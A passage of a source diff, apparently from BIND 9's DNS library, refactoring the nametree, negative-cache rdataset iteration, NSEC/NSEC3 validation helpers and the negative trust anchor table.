+	 * destroy the node directly.
+	 */
+	dns_ntnode_detach(&new);
+
+out:
+	dns_qp_compact(qp, DNS_QPGC_MAYBE);
+	dns_qpmulti_commit(nametree->table, &qp);
+	return (result);
+}
+
+isc_result_t
+dns_nametree_delete(dns_nametree_t *nametree, const dns_name_t *name) {
+	isc_result_t result;
+	dns_qp_t *qp = NULL;
+	dns_ntnode_t *old = NULL;
+	uint32_t count;
+
+	REQUIRE(VALID_NAMETREE(nametree));
+	REQUIRE(name != NULL);
+
+	dns_qpmulti_write(nametree->table, &qp);
+	result = dns_qp_deletename(qp, name, (void **)&old, &count);
+	switch (nametree->type) {
+	case DNS_NAMETREE_BOOL:
+	case DNS_NAMETREE_BITS:
+		break;
+
+	case DNS_NAMETREE_COUNT:
+		if (result == ISC_R_SUCCESS && count-- != 0) {
+			dns_ntnode_t *new = newnode(nametree->mctx, name);
+			new->set = true;
+			result = dns_qp_insert(qp, new, count);
+			INSIST(result == ISC_R_SUCCESS);
+			dns_ntnode_detach(&new);
+		}
+		break;
+	default:
+		UNREACHABLE();
+	}
+	dns_qp_compact(qp, DNS_QPGC_MAYBE);
+	dns_qpmulti_commit(nametree->table, &qp);
+
+	return (result);
+}
+
+isc_result_t
+dns_nametree_find(dns_nametree_t *nametree, const dns_name_t *name,
+		  dns_ntnode_t **ntnodep) {
+	isc_result_t result;
+	dns_ntnode_t *node = NULL;
+	dns_qpread_t qpr;
+
+	REQUIRE(VALID_NAMETREE(nametree));
+	REQUIRE(name != NULL);
+	REQUIRE(ntnodep != NULL && *ntnodep == NULL);
+
+	dns_qpmulti_query(nametree->table, &qpr);
+	result = dns_qp_getname(&qpr, name, (void **)&node, NULL);
+	if (result == ISC_R_SUCCESS) {
+		dns_ntnode_attach(node, ntnodep);
+	}
+	dns_qpread_destroy(nametree->table, &qpr);
+
+	return (result);
+}
+
+bool
+dns_nametree_covered(dns_nametree_t *nametree, const dns_name_t *name,
+		     dns_name_t *found, uint32_t bit) {
+	isc_result_t result;
+	dns_qpread_t qpr;
+	dns_ntnode_t *node = NULL;
+	bool ret = false;
+
+	REQUIRE(VALID_NAMETREE(nametree));
+
+	dns_qpmulti_query(nametree->table, &qpr);
+	result = dns_qp_findname_ancestor(&qpr, name, 0, (void **)&node, NULL);
+	if (result == ISC_R_SUCCESS || result == DNS_R_PARTIALMATCH) {
+		if (found != NULL) {
+			dns_name_copy(node->name, found);
+		}
+
+		switch (nametree->type) {
+		case DNS_NAMETREE_BOOL:
+			ret = node->set;
+			break;
+		case DNS_NAMETREE_COUNT:
+			ret = true;
+			break;
+		case DNS_NAMETREE_BITS:
+			ret = matchbit(node->bits, bit);
+			break;
+		}
+	}
+
+	dns_qpread_destroy(nametree->table, &qpr);
+	return (ret);
+}
+
+static void
+qp_attach(void *uctx ISC_ATTR_UNUSED, void *pval,
+	  uint32_t ival ISC_ATTR_UNUSED) {
+	dns_ntnode_t *ntnode = pval;
+	dns_ntnode_ref(ntnode);
+}
+
+static void
+qp_detach(void *uctx ISC_ATTR_UNUSED, void *pval,
+	  uint32_t ival ISC_ATTR_UNUSED) {
+	dns_ntnode_t *ntnode = pval;
+	dns_ntnode_detach(&ntnode);
+}
+
+static size_t
+qp_makekey(dns_qpkey_t key, void *uctx ISC_ATTR_UNUSED, void *pval,
+	   uint32_t ival ISC_ATTR_UNUSED) {
+	dns_ntnode_t *ntnode = pval;
+	return (dns_qpkey_fromname(key, ntnode->name));
+}
+
+static void
+qp_triename(void *uctx, char *buf, size_t size) {
+	dns_nametree_t *nametree = uctx;
+	snprintf(buf, size, "%s nametree", nametree->name);
+}
diff --git a/lib/dns/ncache.c b/lib/dns/ncache.c
index 0cd368d9ff..26c92317a8 100644
--- a/lib/dns/ncache.c
+++ b/lib/dns/ncache.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -28,15 +30,15 @@
 #define DNS_NCACHE_RDATA 100U
 
 /*
- * The format of an ncache rdata is a sequence of zero or more records of
- * the following format:
+ * The format of an ncache rdata is a sequence of zero or more records
+ * of the following format:
  *
  *	owner name
  *	type
  *	trust
  *	rdata count
- *		rdata length			These two occur 'rdata count'
- *		rdata				times.
+ *	rdata length			These two occur 'rdata
+ *	rdata				count' times.
  *
  */
 
@@ -46,7 +48,7 @@ addoptout(dns_message_t *message, dns_db_t *cache, dns_dbnode_t *node,
 	  dns_ttl_t maxttl, bool optout, bool secure,
 	  dns_rdataset_t *addedrdataset);
 
-static inline isc_result_t
+static isc_result_t
 copy_rdataset(dns_rdataset_t *rdataset, isc_buffer_t *buffer) {
 	isc_result_t result;
 	unsigned int count;
@@ -164,13 +166,14 @@ addoptout(dns_message_t *message, dns_db_t *cache, dns_dbnode_t *node,
 	while (result == ISC_R_SUCCESS) {
 		name = NULL;
 		dns_message_currentname(message, DNS_SECTION_AUTHORITY, &name);
-		if ((name->attributes & DNS_NAMEATTR_NCACHE) != 0) {
+		if (name->attributes.ncache) {
 			for (rdataset = ISC_LIST_HEAD(name->list);
 			     rdataset != NULL;
 			     rdataset = ISC_LIST_NEXT(rdataset, link))
 			{
 				if ((rdataset->attributes &
-				     DNS_RDATASETATTR_NCACHE) == 0) {
+				     DNS_RDATASETATTR_NCACHE) == 0)
+				{
 					continue;
 				}
 				type = rdataset->type;
@@ -264,8 +267,7 @@ addoptout(dns_message_t *message, dns_db_t *cache, dns_dbnode_t *node,
 	ncrdatalist.ttl = ttl;
 
 	dns_rdataset_init(&ncrdataset);
-	RUNTIME_CHECK(dns_rdatalist_tordataset(&ncrdatalist, &ncrdataset) ==
-		      ISC_R_SUCCESS);
+	dns_rdatalist_tordataset(&ncrdatalist, &ncrdataset);
 	if (!secure && trust > dns_trust_answer) {
 		trust = dns_trust_answer;
 	}
@@ -349,8 +351,8 @@ dns_ncache_towire(dns_rdataset_t *rdataset, dns_compress_t *cctx,
 			/*
 			 * Write the name.
 			 */
-			dns_compress_setmethods(cctx, DNS_COMPRESS_GLOBAL14);
-			result = dns_name_towire(&name, cctx, target);
+			dns_compress_setpermitted(cctx, true);
+			result = dns_name_towire(&name, cctx, target, NULL);
 			if (result != ISC_R_SUCCESS) {
 				goto rollback;
 			}
@@ -407,8 +409,7 @@ dns_ncache_towire(dns_rdataset_t *rdataset, dns_compress_t *cctx,
 	return (ISC_R_SUCCESS);
 
 rollback:
-	INSIST(savedbuffer.used < 65536);
-	dns_compress_rollback(cctx, (uint16_t)savedbuffer.used);
+	dns_compress_rollback(cctx, savedbuffer.used);
 	*countp = 0;
 	*target = savedbuffer;
 
@@ -416,30 +417,27 @@ dns_ncache_towire(dns_rdataset_t *rdataset, dns_compress_t *cctx,
 }
 
 static void
-rdataset_disassociate(dns_rdataset_t *rdataset) {
+rdataset_disassociate(dns_rdataset_t *rdataset DNS__DB_FLARG) {
 	UNUSED(rdataset);
 }
 
 static isc_result_t
 rdataset_first(dns_rdataset_t *rdataset) {
-	unsigned char *raw = rdataset->private3;
+	unsigned char *raw;
 	unsigned int count;
 
+	raw = rdataset->ncache.raw;
 	count = raw[0] * 256 + raw[1];
 	if (count == 0) {
-		rdataset->private5 = NULL;
+		rdataset->ncache.iter_pos = NULL;
 		return (ISC_R_NOMORE);
 	}
-	raw += 2;
 	/*
-	 * The privateuint4 field is the number of rdata beyond the cursor
-	 * position, so we decrement the total count by one before storing
-	 * it.
+	 * iter_count is the number of rdata beyond the cursor position,
+	 * so we decrement the total count by one before storing it.
 	 */
-	count--;
-	rdataset->privateuint4 = count;
-	rdataset->private5 = raw;
-
+	rdataset->ncache.iter_pos = raw + 2;
+	rdataset->ncache.iter_count = count - 1;
 	return (ISC_R_SUCCESS);
 }
 
@@ -449,49 +447,45 @@ rdataset_next(dns_rdataset_t *rdataset) {
 	unsigned int length;
 	unsigned char *raw;
 
-	count = rdataset->privateuint4;
+	raw = rdataset->ncache.iter_pos;
+	count = rdataset->ncache.iter_count;
 	if (count == 0) {
+		rdataset->ncache.iter_pos = NULL;
 		return (ISC_R_NOMORE);
 	}
-	count--;
-	rdataset->privateuint4 = count;
-	raw = rdataset->private5;
-	length = raw[0] * 256 + raw[1];
-	raw += length + 2;
-	rdataset->private5 = raw;
 
+	length = raw[0] * 256 + raw[1];
+	rdataset->ncache.iter_pos = raw + 2 + length;
+	rdataset->ncache.iter_count = count - 1;
 	return (ISC_R_SUCCESS);
 }
 
 static void
 rdataset_current(dns_rdataset_t *rdataset, dns_rdata_t *rdata) {
-	unsigned char *raw = rdataset->private5;
+	unsigned char *raw;
 	isc_region_t r;
 
+	raw = rdataset->ncache.iter_pos;
 	REQUIRE(raw != NULL);
 
 	r.length = raw[0] * 256 + raw[1];
-	raw += 2;
-	r.base = raw;
+	r.base = raw + 2;
 	dns_rdata_fromregion(rdata, rdataset->rdclass, rdataset->type, &r);
 }
 
 static void
-rdataset_clone(dns_rdataset_t *source, dns_rdataset_t *target) {
+rdataset_clone(dns_rdataset_t *source, dns_rdataset_t *target DNS__DB_FLARG) {
 	*target = *source;
-
-	/*
-	 * Reset iterator state.
-	 */
-	target->privateuint4 = 0;
-	target->private5 = NULL;
+	target->ncache.iter_pos = NULL;
+	target->ncache.iter_count = 0;
 }
 
 static unsigned int
 rdataset_count(dns_rdataset_t *rdataset) {
-	unsigned char *raw = rdataset->private3;
+	unsigned char *raw;
 	unsigned int count;
 
+	raw = rdataset->ncache.raw;
 	count = raw[0] * 256 + raw[1];
 
 	return (count);
@@ -499,28 +493,21 @@ rdataset_count(dns_rdataset_t *rdataset) {
 
 static void
 rdataset_settrust(dns_rdataset_t *rdataset, dns_trust_t trust) {
-	unsigned char *raw = rdataset->private3;
+	unsigned char *raw;
 
+	raw = rdataset->ncache.raw;
 	raw[-1] = (unsigned char)trust;
+	rdataset->trust = trust;
 }
 
 static dns_rdatasetmethods_t rdataset_methods = {
-	rdataset_disassociate,
-	rdataset_first,
-	rdataset_next,
-	rdataset_current,
-	rdataset_clone,
-	rdataset_count,
-	NULL,		   /* addnoqname */
-	NULL,		   /* getnoqname */
-	NULL,		   /* addclosest */
-	NULL,		   /* getclosest */
-	rdataset_settrust, /* settrust */
-	NULL,		   /* expire */
-	NULL,		   /* clearprefetch */
-	NULL,		   /* setownercase */
-	NULL,		   /* getownercase */
-	NULL		   /* addglue */
+	.disassociate = rdataset_disassociate,
+	.first = rdataset_first,
+	.next = rdataset_next,
+	.current = rdataset_current,
+	.clone = rdataset_clone,
+	.count = rdataset_count,
+	.settrust = rdataset_settrust,
 };
 
 isc_result_t
@@ -536,6 +523,7 @@ dns_ncache_getrdataset(dns_rdataset_t *ncacherdataset, dns_name_t *name,
 	dns_rdataset_t rclone;
 
 	REQUIRE(ncacherdataset != NULL);
+	REQUIRE(DNS_RDATASET_VALID(ncacherdataset));
 	REQUIRE(ncacherdataset->type == 0);
 	REQUIRE((ncacherdataset->attributes & DNS_RDATASETATTR_NEGATIVE) != 0);
 	REQUIRE(name != NULL);
@@ -584,17 +572,10 @@ dns_ncache_getrdataset(dns_rdataset_t *ncacherdataset, dns_name_t *name,
 	rdataset->covers = 0;
 	rdataset->ttl = ncacherdataset->ttl;
 	rdataset->trust = trust;
-	rdataset->private1 = NULL;
-	rdataset->private2 = NULL;
+	rdataset->ncache.raw = remaining.base;
+	rdataset->ncache.iter_pos = NULL;
+	rdataset->ncache.iter_count = 0;
 
-	rdataset->private3 = remaining.base;
-
-	/*
-	 * Reset iterator state.
-	 */
-	rdataset->privateuint4 = 0;
-	rdataset->private5 = NULL;
-	rdataset->private6 = NULL;
 	return (ISC_R_SUCCESS);
 }
 
@@ -638,7 +619,8 @@ dns_ncache_getsigrdataset(dns_rdataset_t *ncacherdataset, dns_name_t *name,
 		isc_region_consume(&remaining, 2);
 
 		if (type != dns_rdatatype_rrsig ||
-		    !dns_name_equal(&tname, name)) {
+		    !dns_name_equal(&tname, name))
+		{
 			result = dns_rdataset_next(&rclone);
 			dns_rdata_reset(&rdata);
 			continue;
@@ -684,17 +666,10 @@ dns_ncache_getsigrdataset(dns_rdataset_t *ncacherdataset, dns_name_t *name,
 	rdataset->covers = covers;
 	rdataset->ttl = ncacherdataset->ttl;
 	rdataset->trust = trust;
-	rdataset->private1 = NULL;
-	rdataset->private2 = NULL;
+	rdataset->ncache.raw = remaining.base;
+	rdataset->ncache.iter_pos = NULL;
+	rdataset->ncache.iter_count = 0;
 
-	rdataset->private3 = remaining.base;
-
-	/*
-	 * Reset iterator state.
-	 */
-	rdataset->privateuint4 = 0;
-	rdataset->private5 = NULL;
-	rdataset->private6 = NULL;
 	return (ISC_R_SUCCESS);
 }
 
@@ -706,7 +681,7 @@ dns_ncache_current(dns_rdataset_t *ncacherdataset, dns_name_t *found,
 	isc_region_t remaining, sigregion;
 	isc_buffer_t source;
 	dns_name_t tname;
-	dns_rdatatype_t type;
+	dns_rdatatype_t type, covers;
 	unsigned int count;
 	dns_rdata_rrsig_t rrsig;
 	unsigned char *raw;
@@ -734,9 +709,7 @@ dns_ncache_current(dns_rdataset_t *ncacherdataset, dns_name_t *found,
 	INSIST(trust <= dns_trust_ultimate);
 	isc_buffer_remainingregion(&source, &remaining);
 
-	rdataset->methods = &rdataset_methods;
-	rdataset->rdclass = ncacherdataset->rdclass;
-	rdataset->type = type;
+	covers = 0;
 	if (type == dns_rdatatype_rrsig) {
 		/*
 		 * Extract covers from RRSIG.
@@ -752,21 +725,16 @@ dns_ncache_current(dns_rdataset_t *ncacherdataset, dns_name_t *found,
 		dns_rdata_fromregion(&rdata, rdataset->rdclass, rdataset->type,
 				     &sigregion);
 		(void)dns_rdata_tostruct(&rdata, &rrsig, NULL);
-		rdataset->covers = rrsig.covered;
-	} else {
-		rdataset->covers = 0;
+		covers = rrsig.covered;
 	}
+
+	rdataset->methods = &rdataset_methods;
+	rdataset->rdclass = ncacherdataset->rdclass;
+	rdataset->type = type;
+	rdataset->covers = covers;
 	rdataset->ttl = ncacherdataset->ttl;
 	rdataset->trust = trust;
-	rdataset->private1 = NULL;
-	rdataset->private2 = NULL;
-
-	rdataset->private3 = remaining.base;
-
-	/*
-	 * Reset iterator state.
-	 */
-	rdataset->privateuint4 = 0;
-	rdataset->private5 = NULL;
-	rdataset->private6 = NULL;
+	rdataset->ncache.raw = remaining.base;
+	rdataset->ncache.iter_pos = NULL;
+	rdataset->ncache.iter_count = 0;
 }
diff --git a/lib/dns/nsec.c b/lib/dns/nsec.c
index 7a59e0d81c..01f4840345 100644
--- a/lib/dns/nsec.c
+++ b/lib/dns/nsec.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -14,6 +16,7 @@
 #include <stdbool.h>
 
 #include <isc/log.h>
+#include <isc/result.h>
 #include <isc/string.h>
 #include <isc/util.h>
 
@@ -24,7 +27,6 @@
 #include <dns/rdataset.h>
 #include <dns/rdatasetiter.h>
 #include <dns/rdatastruct.h>
-#include <dns/result.h>
 
 #include <dst/dst.h>
 
@@ -126,7 +128,7 @@ dns_nsec_buildrdata(dns_db_t *db, dns_dbversion_t *version, dns_dbnode_t *node,
 	max_type = dns_rdatatype_nsec;
 	dns_rdataset_init(&rdataset);
 	rdsiter = NULL;
-	result = dns_db_allrdatasets(db, node, version, 0, &rdsiter);
+	result = dns_db_allrdatasets(db, node, version, 0, 0, &rdsiter);
 	if (result != ISC_R_SUCCESS) {
 		return (result);
 	}
@@ -154,7 +156,8 @@ dns_nsec_buildrdata(dns_db_t *db, dns_dbversion_t *version, dns_dbnode_t *node,
 	{
 		for (i = 0; i <= max_type; i++) {
 			if (dns_nsec_isset(bm, i) &&
-			    !dns_rdatatype_iszonecutauth((dns_rdatatype_t)i)) {
+			    !dns_rdatatype_iszonecutauth((dns_rdatatype_t)i))
+			{
 				dns_nsec_setbit(bm, i, 0);
 			}
 		}
@@ -193,7 +196,7 @@ dns_nsec_build(dns_db_t *db, dns_dbversion_t *version, dns_dbnode_t *node,
 	rdatalist.type = dns_rdatatype_nsec;
 	rdatalist.ttl = ttl;
 	ISC_LIST_APPEND(rdatalist.rdata, &rdata, link);
-	RETERR(dns_rdatalist_tordataset(&rdatalist, &rdataset));
+	dns_rdatalist_tordataset(&rdatalist, &rdataset);
 	result = dns_db_addrdataset(db, node, version, 0, &rdataset, 0, NULL);
 	if (result == DNS_R_UNCHANGED) {
 		result = ISC_R_SUCCESS;
@@ -245,7 +248,8 @@ dns_nsec_typepresent(dns_rdata_t *nsec, dns_rdatatype_t type) {
 }
 
 isc_result_t
-dns_nsec_nseconly(dns_db_t *db, dns_dbversion_t *version, bool *answer) {
+dns_nsec_nseconly(dns_db_t *db, dns_dbversion_t *version, dns_diff_t *diff,
+		  bool *answer) {
 	dns_dbnode_t *node = NULL;
 	dns_rdataset_t rdataset;
 	dns_rdata_dnskey_t dnskey;
@@ -280,8 +284,35 @@ dns_nsec_nseconly(dns_db_t *db, dns_dbversion_t *version, bool *answer) {
 		RUNTIME_CHECK(result == ISC_R_SUCCESS);
 
 		if (dnskey.algorithm == DST_ALG_RSAMD5 ||
-		    dnskey.algorithm == DST_ALG_RSASHA1) {
-			break;
+		    dnskey.algorithm == DST_ALG_DSA ||
+		    dnskey.algorithm == DST_ALG_RSASHA1)
+		{
+			bool deleted = false;
+			if (diff != NULL) {
+				for (dns_difftuple_t *tuple =
+					     ISC_LIST_HEAD(diff->tuples);
+				     tuple != NULL;
+				     tuple = ISC_LIST_NEXT(tuple, link))
+				{
+					if (tuple->rdata.type !=
+						    dns_rdatatype_dnskey ||
+					    tuple->op != DNS_DIFFOP_DEL)
+					{
+						continue;
+					}
+
+					if (dns_rdata_compare(
+						    &rdata, &tuple->rdata) == 0)
+					{
+						deleted = true;
+						break;
+					}
+				}
+			}
+
+			if (!deleted) {
+				break;
+			}
 		}
 	}
 	dns_rdataset_disassociate(&rdataset);
@@ -328,6 +359,16 @@ dns_nsec_noexistnodata(dns_rdatatype_t type, const dns_name_t *name,
 	}
 	dns_rdataset_current(nsecset, &rdata);
 
+#ifdef notyet
+	if (!dns_nsec_typepresent(&rdata, dns_rdatatype_rrsig) ||
+	    !dns_nsec_typepresent(&rdata, dns_rdatatype_nsec))
+	{
+		(*logit)(arg, ISC_LOG_DEBUG(3),
+			 "NSEC missing RRSIG and/or NSEC from type map");
+		return (ISC_R_IGNORE);
+	}
+#endif
+
 	(*logit)(arg, ISC_LOG_DEBUG(3), "looking for relevant NSEC");
 	relation = dns_name_fullcompare(name, nsecname, &order, &olabels);
 
@@ -460,3 +501,32 @@ dns_nsec_noexistnodata(dns_rdatatype_t type, const dns_name_t *name,
 	*exists = false;
 	return (ISC_R_SUCCESS);
 }
+
+bool
+dns_nsec_requiredtypespresent(dns_rdataset_t *nsecset) {
+	dns_rdataset_t rdataset;
+	isc_result_t result;
+	bool found = false;
+
+	REQUIRE(DNS_RDATASET_VALID(nsecset));
+	REQUIRE(nsecset->type == dns_rdatatype_nsec);
+
+	dns_rdataset_init(&rdataset);
+	dns_rdataset_clone(nsecset, &rdataset);
+
+	for (result = dns_rdataset_first(&rdataset); result == ISC_R_SUCCESS;
+	     result = dns_rdataset_next(&rdataset))
+	{
+		dns_rdata_t rdata = DNS_RDATA_INIT;
+		dns_rdataset_current(&rdataset, &rdata);
+		if (!dns_nsec_typepresent(&rdata, dns_rdatatype_nsec) ||
+		    !dns_nsec_typepresent(&rdata, dns_rdatatype_rrsig))
+		{
+			dns_rdataset_disassociate(&rdataset);
+			return (false);
+		}
+		found = true;
+	}
+	dns_rdataset_disassociate(&rdataset);
+	return (found);
+}
diff --git a/lib/dns/nsec3.c b/lib/dns/nsec3.c
index 8a5c99a081..227ac5c129 100644
--- a/lib/dns/nsec3.c
+++ b/lib/dns/nsec3.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -18,6 +20,7 @@
 #include <isc/iterated_hash.h>
 #include <isc/md.h>
 #include <isc/nonce.h>
+#include <isc/result.h>
 #include <isc/safe.h>
 #include <isc/string.h>
 #include <isc/util.h>
@@ -34,7 +37,6 @@
 #include <dns/rdataset.h>
 #include <dns/rdatasetiter.h>
 #include <dns/rdatastruct.h>
-#include <dns/result.h>
 #include <dns/zone.h>
 
 #include <dst/dst.h>
@@ -116,7 +118,7 @@ dns_nsec3_buildrdata(dns_db_t *db, dns_dbversion_t *version, dns_dbnode_t *node,
 	}
 	dns_rdataset_init(&rdataset);
 	rdsiter = NULL;
-	result = dns_db_allrdatasets(db, node, version, 0, &rdsiter);
+	result = dns_db_allrdatasets(db, node, version, 0, 0, &rdsiter);
 	if (result != ISC_R_SUCCESS) {
 		return (result);
 	}
@@ -143,7 +145,8 @@ dns_nsec3_buildrdata(dns_db_t *db, dns_dbversion_t *version, dns_dbnode_t *node,
 			 *    a NS record but do have other data.
 			 */
 			if (rdataset.type == dns_rdatatype_soa ||
-			    rdataset.type == dns_rdatatype_ds) {
+			    rdataset.type == dns_rdatatype_ds)
+			{
 				need_rrsig = true;
 			} else if (rdataset.type == dns_rdatatype_ns) {
 				found_ns = true;
@@ -168,7 +171,8 @@ dns_nsec3_buildrdata(dns_db_t *db, dns_dbversion_t *version, dns_dbnode_t *node,
 	{
 		for (i = 0; i <= max_type; i++) {
 			if (dns_nsec_isset(bm, i) &&
-			    !dns_rdatatype_iszonecutauth((dns_rdatatype_t)i)) {
+			    !dns_rdatatype_iszonecutauth((dns_rdatatype_t)i))
+			{
 				dns_nsec_setbit(bm, i, 0);
 			}
 		}
@@ -267,9 +271,7 @@ dns_nsec3_hashname(dns_fixedname_t *result,
 		return (DNS_R_BADALG);
 	}
 
-	if (hash_length != NULL) {
-		*hash_length = len;
-	}
+	SET_IF_NOT_NULL(hash_length, len);
 
 	/* convert the hash to base32hex non-padded */
 	region.base = rethash;
@@ -361,7 +363,7 @@ name_exists(dns_db_t *db, dns_dbversion_t *version, const dns_name_t *name,
 		return (result);
 	}
 
-	result = dns_db_allrdatasets(db, node, version, (isc_stdtime_t)0,
+	result = dns_db_allrdatasets(db, node, version, 0, (isc_stdtime_t)0,
 				     &iter);
 	if (result != ISC_R_SUCCESS) {
 		goto cleanup_node;
@@ -484,7 +486,8 @@ better_param(dns_rdataset_t *nsec3paramset, dns_rdata_t *param) {
 			dns_rdata_t tmprdata = DNS_RDATA_INIT;
 			dns_rdataset_current(&rdataset, &tmprdata);
 			if (!dns_nsec3param_fromprivate(&tmprdata, &rdata, buf,
-							sizeof(buf))) {
+							sizeof(buf)))
+			{
 				continue;
 			}
 		} else {
@@ -969,7 +972,6 @@ dns_nsec3_addnsec3s(dns_db_t *db, dns_dbversion_t *version,
 bool
 dns_nsec3param_fromprivate(dns_rdata_t *src, dns_rdata_t *target,
 			   unsigned char *buf, size_t buflen) {
-	dns_decompress_t dctx;
 	isc_result_t result;
 	isc_buffer_t buf1;
 	isc_buffer_t buf2;
@@ -986,11 +988,9 @@ dns_nsec3param_fromprivate(dns_rdata_t *src, dns_rdata_t *target,
 	isc_buffer_add(&buf1, src->length - 1);
 	isc_buffer_setactive(&buf1, src->length - 1);
 	isc_buffer_init(&buf2, buf, (unsigned int)buflen);
-	dns_decompress_init(&dctx, -1, DNS_DECOMPRESS_NONE);
 	result = dns_rdata_fromwire(target, src->rdclass,
-				    dns_rdatatype_nsec3param, &buf1, &dctx, 0,
-				    &buf2);
-	dns_decompress_invalidate(&dctx);
+				    dns_rdatatype_nsec3param, &buf1,
+				    DNS_DECOMPRESS_NEVER, &buf2);
 
 	return (result == ISC_R_SUCCESS);
 }
@@ -1309,7 +1309,8 @@ dns_nsec3_addnsec3sx(dns_db_t *db, dns_dbversion_t *version,
 
 		dns_rdataset_current(&prdataset, &rdata1);
 		if (!dns_nsec3param_fromprivate(&rdata1, &rdata2, buf,
-						sizeof(buf))) {
+						sizeof(buf)))
+		{
 			continue;
 		}
 		CHECK(dns_rdata_tostruct(&rdata2, &nsec3param, NULL));
@@ -1437,7 +1438,7 @@ dns_nsec3_delnsec3(dns_db_t *db, dns_dbversion_t *version,
 
 	result = dns_dbiterator_seek(dbit, hashname);
 	if (result == ISC_R_NOTFOUND || result == DNS_R_PARTIALMATCH) {
-		goto success;
+		goto cleanup_orphaned_ents;
 	}
 	if (result != ISC_R_SUCCESS) {
 		goto failure;
@@ -1449,7 +1450,7 @@ dns_nsec3_delnsec3(dns_db_t *db, dns_dbversion_t *version,
 				     (isc_stdtime_t)0, &rdataset, NULL);
 	dns_db_detachnode(db, &node);
 	if (result == ISC_R_NOTFOUND) {
-		goto success;
+		goto cleanup_orphaned_ents;
 	}
 	if (result != ISC_R_SUCCESS) {
 		goto failure;
@@ -1534,6 +1535,7 @@ dns_nsec3_delnsec3(dns_db_t *db, dns_dbversion_t *version,
 	/*
 	 *  Delete NSEC3 records for now non active nodes.
 	 */
+cleanup_orphaned_ents:
 	dns_name_init(&empty, NULL);
 	dns_name_clone(name, &empty);
 	do {
@@ -1738,7 +1740,8 @@ dns_nsec3_delnsec3sx(dns_db_t *db, dns_dbversion_t *version,
 
 		dns_rdataset_current(&rdataset, &rdata1);
 		if (!dns_nsec3param_fromprivate(&rdata1, &rdata2, buf,
-						sizeof(buf))) {
+						sizeof(buf)))
+		{
 			continue;
 		}
 		CHECK(dns_rdata_tostruct(&rdata2, &nsec3param, NULL));
@@ -1831,6 +1834,7 @@ dns_nsec3_activex(dns_db_t *db, dns_dbversion_t *version, bool complete,
 
 try_private:
 	if (privatetype == 0 || complete) {
+		dns_db_detachnode(db, &node);
 		*answer = false;
 		return (ISC_R_SUCCESS);
 	}
@@ -1855,7 +1859,8 @@ dns_nsec3_activex(dns_db_t *db, dns_dbversion_t *version, bool complete,
 
 		dns_rdataset_current(&rdataset, &rdata1);
 		if (!dns_nsec3param_fromprivate(&rdata1, &rdata2, buf,
-						sizeof(buf))) {
+						sizeof(buf)))
+		{
 			continue;
 		}
 		result = dns_rdata_tostruct(&rdata2, &nsec3param, NULL);
@@ -1963,7 +1968,8 @@ dns_nsec3_noexistnodata(dns_rdatatype_t type, const dns_name_t *name,
 	 * Is this zone the same or deeper than the current zone?
 	 */
 	if (dns_name_countlabels(zonename) == 0 ||
-	    dns_name_issubdomain(zone, zonename)) {
+	    dns_name_issubdomain(zone, zonename))
+	{
 		dns_name_copy(zone, zonename);
 	}
 
diff --git a/lib/dns/nta.c b/lib/dns/nta.c
index b4033b4aa9..35ee03e8de 100644
--- a/lib/dns/nta.c
+++ b/lib/dns/nta.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -14,13 +16,14 @@
 #include <inttypes.h>
 #include <stdbool.h>
 
+#include <isc/async.h>
 #include <isc/buffer.h>
 #include <isc/log.h>
+#include <isc/loop.h>
 #include <isc/mem.h>
-#include <isc/print.h>
+#include <isc/result.h>
 #include <isc/rwlock.h>
 #include <isc/string.h>
-#include <isc/task.h>
 #include <isc/time.h>
 #include <isc/timer.h>
 #include <isc/util.h>
@@ -30,15 +33,27 @@
 #include <dns/log.h>
 #include <dns/name.h>
 #include <dns/nta.h>
-#include <dns/rbt.h>
+#include <dns/qp.h>
 #include <dns/rdataset.h>
 #include <dns/resolver.h>
-#include <dns/result.h>
 #include <dns/time.h>
 
-struct dns_nta {
+struct dns_ntatable {
 	unsigned int magic;
-	isc_refcount_t refcount;
+	isc_mem_t *mctx;
+	dns_view_t *view;
+	isc_rwlock_t rwlock;
+	isc_loopmgr_t *loopmgr;
+	isc_refcount_t references;
+	dns_qpmulti_t *table;
+	atomic_bool shuttingdown;
+};
+
+struct dns__nta {
+	unsigned int magic;
+	isc_mem_t *mctx;
+	isc_loop_t *loop;
+	isc_refcount_t references;
 	dns_ntatable_t *ntatable;
 	bool forced;
 	isc_timer_t *timer;
@@ -48,147 +63,105 @@ struct dns_nta {
 	dns_fixedname_t fn;
 	dns_name_t *name;
 	isc_stdtime_t expiry;
+	bool shuttingdown;
 };
 
 #define NTA_MAGIC     ISC_MAGIC('N', 'T', 'A', 'n')
 #define VALID_NTA(nn) ISC_MAGIC_VALID(nn, NTA_MAGIC)
 
-/*
- * Obtain a reference to the nta object.  Released by
- * nta_detach.
- */
 static void
-nta_ref(dns_nta_t *nta) {
-	isc_refcount_increment(&nta->refcount);
-}
+dns__nta_shutdown(dns__nta_t *nta);
 
 static void
-nta_detach(isc_mem_t *mctx, dns_nta_t **ntap) {
-	REQUIRE(ntap != NULL && VALID_NTA(*ntap));
-	dns_nta_t *nta = *ntap;
-	*ntap = NULL;
-
-	if (isc_refcount_decrement(&nta->refcount) == 1) {
-		isc_refcount_destroy(&nta->refcount);
-		nta->magic = 0;
-		if (nta->timer != NULL) {
-			(void)isc_timer_reset(nta->timer,
-					      isc_timertype_inactive, NULL,
-					      NULL, true);
-			isc_timer_detach(&nta->timer);
-		}
